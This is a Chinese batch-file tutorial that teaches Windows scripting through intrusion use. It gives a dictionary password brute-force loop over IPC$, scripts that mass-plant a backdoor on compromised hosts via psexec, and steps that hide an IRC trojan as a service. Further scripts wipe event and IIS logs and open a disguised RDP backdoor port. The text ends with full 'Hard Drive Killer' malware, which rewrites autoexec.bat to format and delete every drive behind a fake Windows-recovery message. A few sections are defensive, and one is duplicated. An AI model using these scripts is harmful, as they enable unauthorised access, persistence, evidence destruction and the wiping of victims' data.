简单bat语法
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable %%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable %%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use file://ip/ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator" find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use file://%1/ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec file://%1/ c:\winnt\system32\windrv32.exe
@psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use file://1%/ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif
3.
Usage:第一条命令 第二条命令 [ 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1. 命令
Usage:第一条命令 第二条命令 [ 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample:
time /t>>D:\IP.log
netstat -n -p tcp find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全^_^.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
